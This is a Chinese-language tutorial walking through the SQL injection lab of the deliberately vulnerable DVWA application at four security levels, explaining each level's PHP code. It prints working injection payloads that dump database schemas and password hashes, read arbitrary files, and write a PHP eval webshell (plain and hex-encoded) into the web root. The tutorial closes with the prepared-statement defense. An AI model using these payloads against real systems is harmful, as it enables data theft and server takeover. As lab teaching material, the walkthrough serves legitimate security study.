DVWA SQL Injection 通关教程
SQL Injection
,即SQL
注入,SQLi
,是指攻击者通过注入恶意的SQL
命令,破坏SQL
查询语句的结构,从而达到执行恶意SQL
语句的目的。SQL
注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL
注入仍是现在最常见的Web
漏洞之一。
SQL 注入分类:
按SQLMap
中的分类来看,SQL
注入类型有以下5
种:
UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入) Time-based blind SQL injection(基于时间延迟注入)
SQL 注入常规利用思路:
1、寻找注入点,可以通过 web 扫描工具实现 2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。 3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息) 4、可以通过获得的用户信息,寻找后台登录。 5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型 2.猜解 SQL 查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询到账户的数据
下面对四种级别的代码进行分析。
Low Security Level:
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
由代码可知,通过REQUEST
方式接受传递的参数id
,再通过sql
语句带入查询,并未设置任何过滤,因此可以进行sql
注入利用。
Exploit
常见注入测试的POC
:
判断注入:
1 页面正常 1' 页面返回错误:报错“...use near ''1''' at line 1...” 1' or '1'='2 页面返回为空,查询失败 1' or '1'='1 页面正常,并返回更多信息,成功查询
判断存在的是字符型注入。
猜字段:
1' order by 2#
得到字段数为2
确定回显点:
1' union select 1,2#
猜数据库:
1' union select 1,database()#
payload
利用另一种方式:
1' union select user(),database()--+
得到数据库名:dvwa
PS
:union
查询结合了两个select
查询结果,根据上面的order by
语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union
查询结合我们构造的另外一个select
.注意在使用union
查询的时候需要和主查询的列数相同。
猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users
猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273# 1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用户数据:
列举出几种payload
:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 1' union select null,concat_ws(char(32,58,32),user,password) from users # 1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用户:
1' union select 1,group_concat(user,password) from mysql.user#
得到root
用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
读文件和写入拿shell
使用mysql
的读写功能需要具有一定的权限。
secure_file_priv
参数用来限制load_file,into outfile
等相关读写执行函数作用于哪个指定目录。
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出 当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下 当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
通过命令查看secure-file-priv
的当前值:
show global variables like '%secure%'; mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ 2 rows in set (0.00 sec)
由于我使用的是PHPStudy
搭建的环境,MySQL
没有设置过secure_file_priv
时,默认为NULL
修改secure_file_priv
为指定的目录:
Windows
下的配置文件:../MySQL/my.ini
Linux
下的配置文件:/etc/mysql/my.cnf
(不同linux
下的my.cnf
位置路径不同,此处不一一列举)
在[mysqld]
内加入:
secure_file_priv =
注意这里为空,表示可以导入导出到任意目录
重启mysql
服务,接下来开始在DVWA
中利用SQL
注入进行导入导出的操作:
load_file()
函数读取任意文件:
1' union select 1,load_file('E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\dvwa\\index.php')#
利用into outfile()
函数写入一句话拿webshell
:
不知道路径的情况下,先通过报错得出网站的绝对路径:
1' union select 'xx',2 into outfile 'xx'#
得到路径:
E:\web\phpStudy2017\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php
我们直接into outfile
一句话到根目录:
1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
由于单引号会引起闭合而导致查询失败,注意一句话中的cmd
不能是单引号
或者整句使用双引号:
1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
或者采用编码方式,如十六进制编码的方式:
1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
最后,导入一句话成功。
菜刀连接之即可。
Medium Security Level:
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
使用了mysqli_real_escape_string
函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
Exploit
判断是否存在注入,注入是字符型还是数字型?
抓包更改参数id
为1' or 1=1 #
,报错,
抓包更改参数id
为1 or 1=1 #
,查询成功,
说明存在数字型注入。
(由于是数字型注入,服务器端的mysql_real_escape_string
函数就形同虚设了,因为数字型注入并不需要借助引号。)
猜表名:
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到表名:guestbook
,users
猜列名:
考虑到单引号被转义,可以利用 16 进制进行绕过,抓包更改参数id
为
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用户数据
抓包修改参数id
为
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
High Secuirty Level:
<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看到,与Low Secuity Level
的代码相比,Medium Secuity Level
的只是在SQL
查询语句中添加了LIMIT 1
,希望以此控制只输出一个结果。虽然添加了LIMIT 1
,但是我们可以通过#
将其注释掉。
Exploit
由于手工注入的过程与Low
级别基本一样,直接最后一步演示下载数据。输入:
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Impossible Security Level:
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到,Impossible Secuity Level
的代码采用了PDO
技术,划清了代码与数据的界限,有效防御SQL
注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken
机制的加入了进一步提高了安全性。